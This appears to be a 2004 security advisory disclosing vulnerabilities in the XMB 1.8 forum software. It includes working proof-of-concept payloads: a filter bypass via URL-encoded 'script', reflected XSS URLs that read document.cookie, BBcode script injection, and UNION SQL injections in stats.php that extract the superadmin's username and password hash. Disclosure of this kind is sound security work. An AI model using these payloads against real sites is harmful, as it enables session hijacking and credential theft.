[waraxe-2004-SA#004] - Multiple vulnerabilities in XMB 1.8 Partagium Final SP2
{================================================================================}
{ [waraxe-2004-SA#004]
}
{================================================================================}
{
}
{ [ Multiple vulnerabilities in XMB 1.8 Partagium Final SP2 ]
}
{
}
{================================================================================}
Author: Janek Vind "waraxe"
Date: 23 Feb 2004
Location: Estonia, Tartu
Affected software description:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Extreme Messageboard aka XMB is very popular and feature rich forum,
based on php and mysql. More information can be found on sites
http://www.aventure-media.co.uk and http://www.xmbforum.com
Vulnerabilities:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Multiple vulnerabilites have been found in XMB 1.8 Final SP2 version
and possibly in older versions too. Any of them can lead to total
compromise of the website, if affected account has SuperAdmin status.
Remark: line references apply to build version "Build: 2003100518".
Let's begin...
1. Security filter in header.php line 110 can be bypassed, if we partially
or fully urlencode the critical parts in URI. Thanks to this vulnerability
possible XSS holes can be easily exploited by GET request.
Original code:
// Checks for various variables in the URL, if any of them is found, script is
halted
$url2 = str_replace("subscriptions","",$url);
$url_check = Array('status', 'xmbuser', 'xmbpw','script','javascript');
foreach ($url_check as $name) {
if (eregi($name, $url2)){
exit();
}
}
Example of the filter bypass:
http://localhost/xmb18sp2/forumdisplay.php?fid=1&foobar=<%73cript>
2. XSS in member.php
example exploitation:
http://localhost/xmb18sp2/member.php?action=viewpro&member=x<%73cript>alert(document.cookie);</%73cript>
3. XSS in u2uadmin.php
example exploitation:
http://localhost/xmb18sp2/u2uadmin.php?uid=x"><%73cript>alert(document.cookie);</%73cript>
4. XSS in editprofile.php
example exploitation:
http://localhost/xmb18sp2/editprofile.php?user=x"><%73cript>alert(document.cookie);</%73cript>
5. BBcode "[align=xxx][/align]" script injection vulnerability:
example exploitation:
text1 [align=center onmouseover=alert(document.cookie);] text2 [/align]
This can be used everywhere, where bbcode is allowed - in profile's signature,
u2u and in forum threads.
Scripting will be triggered on mouseover event and will work with most browsers.
6. BBcode "[img=1x1][/img]" script injection vulnerabilty:
example exploitation:
text1 [img=1x1]javascript:alert(document.cookie);//gif[/img] text2
Ending "//gif" is needed for successful exploit, because bbcode implementation
will check for it.
This can be used everywhere, where bbcode is allowed - in profile's signature,
u2u and in forum threads.
Scripting will be triggered automatically, but exploit will work only with M$
Internet Explorer.
**************************************************************************
Remark: Next vulnerabilities are sql injections. Cases 7,8,9 will offer
injection possibility after "ORDER BY" keywords in sql query,
therefore UNION method will not work. Only bad thing, attacker can
make, is failing of the sql query and provoking of the sql error
message. Because XMB forum so nicely will show sql error messages
for all the world (this feature is implemented in mysql.php file),
we can "convert" the sql injection to the exploitable XSS!
**************************************************************************
7. SQL injection in viewthread.php line 250: (NB!! successful only, if
currently logged out)
http://localhost/xmb18sp2/viewthread.php?tid=1&ppp=x
example exploitation:
http://localhost/xmb18sp2/viewthread.php?tid=1&ppp=x<%73cript>alert(document.cookie);</%73cript>
8. SQL injections in misc.php lines 387,391,395
http://localhost/xmb18sp2/misc.php?action=list&order=postnum&desc=x
example exploitation:
http://localhost/xmb18sp2/misc.php?action=list&order=postnum&desc=x<%73cript>alert(document.cookie);</%73cript>
9. SQL injections in forumdisplay.php lines 135,325
http://localhost/xmb18sp2/forumdisplay.php?fid=1&tpp=x
http://localhost/xmb18sp2/forumdisplay.php?fid=1&ascdesc=x
example exploitations:
http://localhost/xmb18sp2/forumdisplay.php?fid=1&tpp=x<%73cript>alert(document.cookie);</%73cript>
http://localhost/xmb18sp2/forumdisplay.php?fid=1&ascdesc=x<%73cript>alert(document.cookie);</%73cript>
*********************** [really scary sql hole] ***********************
10. SQL injections in stats.php lines 89,96,103
http://localhost/xmb18sp2/stats.php?action=view&addon=x
exploitations:
getting username for superadmin:
http://localhost/xmb18sp2/stats.php?action=view&addon=WHERE t.tid<0 UNION ALL
SELECT NULL,NULL,username FROM xmb_members WHERE uid=1 LIMIT 1/*
getting password's md5 hash for superadmin:
http://localhost/xmb18sp2/stats.php?action=view&addon=WHERE t.tid<0 UNION ALL
SELECT NULL,NULL,password FROM xmb_members WHERE uid=1 LIMIT 1/*
*********************** [/really scary sql hole] **********************
Greetings:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Greetings goes to ulljobu, djzone, raider and to torufoorum staff!
Special greets to marius and biacci!
Contact:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
come2waraxe@xxxxxxxxx
Janek Vind "waraxe"
---------------------------------- [ EOF ] ------------------------------------